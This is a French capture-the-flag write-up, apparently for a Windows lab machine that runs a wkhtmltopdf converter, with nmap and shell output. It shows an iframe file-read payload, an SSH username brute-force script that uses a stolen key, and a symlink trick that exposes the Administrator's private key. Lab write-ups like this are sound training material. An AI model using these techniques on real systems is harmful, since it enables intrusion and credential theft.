Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-01 09:25 EDT
Nmap scan report for 192.168.209.177
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:40:e2:ef:21:ea:c1:77:b6:14:a3:f7:04:59:45:28 (RSA)
| 256 f8:fb:e3:c6:16:3a:e2:62:d0:e2:ae:d4:f2:9e:6f:6d (ECDSA)
|_ 256 94:5e:97:ad:f9:0f:81:b6:6b:3b:bd:98:43:c0:0d:6a (ED25519)
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
|_http-title: WebPage to PDF
HTTP (80) : Apache httpd 2.4.48
WkhtmltoPDF
Nous pouvons accéder au dossier logs.
Nous allons vérifier si le fichier abf668cc40f70bd74ce74e67eb397c27.pdf existe.
Nous devons d'abord connaître le chemin pour accéder au fichier.
Nous avons donc lancer un server python sur notre machine (la machine n'étant pas connectée à internet) puis rentrer http://<notre_ip> dans la barre située au milieu de la page index.html de notre machine cible.
Le chemin /pdfs/ nous intéresse. Nous pouvons également en profiter pour télécharger le fichier et trouver le numéro de version.
wkhtmltopdf 0.12.3
Nous allons maintenant revenir au fichier pdf précédemment trouvé grâce au fichier log.
Bingo !
Nous avons donc une clef privée ssh, cependant nous n'avons pas récupéré de nom d'utilisateur.
Nous allons tenter de bruteforce avec hydra.
Accès initial
Bruteforce SSH avec une clef privé
Nous avons utilisé ce code bash :
Pas de résultat.
Après réflexion, le nom d'utilisateur se trouvait sur la page...... "Converter by p4yl0ad "
Il y avait un autre moyen de trouver la clef privée.
LFI
Nous avons dans un premier temps tester si une page web fonctionne.
Cela a fonctionnée, nous avons donc mis dans le body : <iframe src="C:/Windows/system32/drivers/etc/hosts" >
Cela fonctionne mais le texte est affiché dans un espace qu'on ne peut déplacer.
Nous allons donc agrandir cette espace et changer le fichier à lire.
Elévation des privilèges
Nous avons trouvé un dossier backup à la racine. Le fichier backup.ps1 appartient
Nous allons voir quel droit nous avons dans le dossier logs. Si nous avons tous les droits, nous pourrions créer un lien symbolique nous permettant de lire le fichier id_rsa de l'administrator.
Le binaire qui nous intéresse sur ce github est : CreateSymlink.exe.
En effet, la commande New-Item -ItemType SymbolicLink -Path "C:\xampp\htdocs\logs\request.log" -Target "C:\Users\Administrator\.ssh\id_rsa" ne fonctionne pas.
Nous allons donc le télécharger sur notre victime et l'utiliser pour créer notre lien symbolique. Mais nous devons tout d'abord supprimer le dossiers logs puis le re-créer :
Nous pouvons ensuite lire le dernier fichier de /backup/logs :
Nous nous connectons de la même manière que pour le premier utilisateur.
Nous sommes administrator ! Mais non NT AUTHORITY \ SYSTEM. Nous avons toutefois accès au flag.
┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool test.pdf
ExifTool Version Number : 12.76
File Name : test.pdf
Directory : .
File Size : 35 kB
File Modification Date/Time : 2024:08:01 10:41:06-04:00
File Access Date/Time : 2024:08:01 10:41:06-04:00
File Inode Change Date/Time : 2024:08:01 10:41:06-04:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Title : Directory listing for /
Creator : wkhtmltopdf 0.12.3
Producer : Qt 4.8.7
Create Date : 2024:08:01 07:40:47-07:00
Page Count : 1
Page Mode : UseOutlines
#!/bin/bash
# Check if the correct number of arguments is passed
if [ "$#" -ne 4 ]; then
echo "Usage: $0 <target_ip> <port> <key_path> <usernames_file>"
exit 1
fi
TARGET_IP="$1" # First argument: target IP address
PORT="$2" # Second argument: SSH port
KEY="$3" # Third argument: path to the private key
USERNAMES_FILE="$4" # Fourth argument: file containing usernames
# Check if the usernames file exists
if [ ! -f "$USERNAMES_FILE" ]; then
echo "Usernames file not found: $USERNAMES_FILE"
exit 1
fi
# Check if the private key exists
if [ ! -f "$KEY" ]; then
echo "Key file not found: $KEY"
exit 1
fi
# Read each username from the file and attempt to connect
while IFS= read -r USERNAME; do
echo "Testing $USERNAME..."
ssh -o BatchMode=yes -o StrictHostKeyChecking=no -i "$KEY" "$USERNAME@$TARGET_IP" -p $PORT exit
if [ $? -eq 0 ]; then
echo "Success with username: $USERNAME"
exit 0
fi
done < "$USERNAMES_FILE"
echo "No valid username found."
┌──(kali㉿kali)-[~]
└─$ ssh p4yl0ad@192.168.209.177 -i id_rsa
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.
p4yl0ad@SYMBOLIC C:\Users\p4yl0ad>
┌──(kali㉿kali)-[~]
└─$ ssh administrator@192.168.209.177 -i id_rsa2
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.
administrator@SYMBOLIC C:\Users\Administrator>whoami
symbolic\administrator
PS C:\Users\Administrator\desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
State
========================================= =============================
===================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a pr
ocess Enabled
{...}
SeDebugPrivilege Debug programs
Enabled
SeSystemEnvironmentPrivilege Modify firmware environment v
alues Enabled
SeChangeNotifyPrivilege Bypass traverse checking
Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote
system Enabled
SeUndockPrivilege Remove computer from docking
station Enabled
SeManageVolumePrivilege Perform volume maintenance ta
sks Enabled
SeImpersonatePrivilege Impersonate a client after au
thentication Enabled
SeCreateGlobalPrivilege Create global objects
Enabled
{...}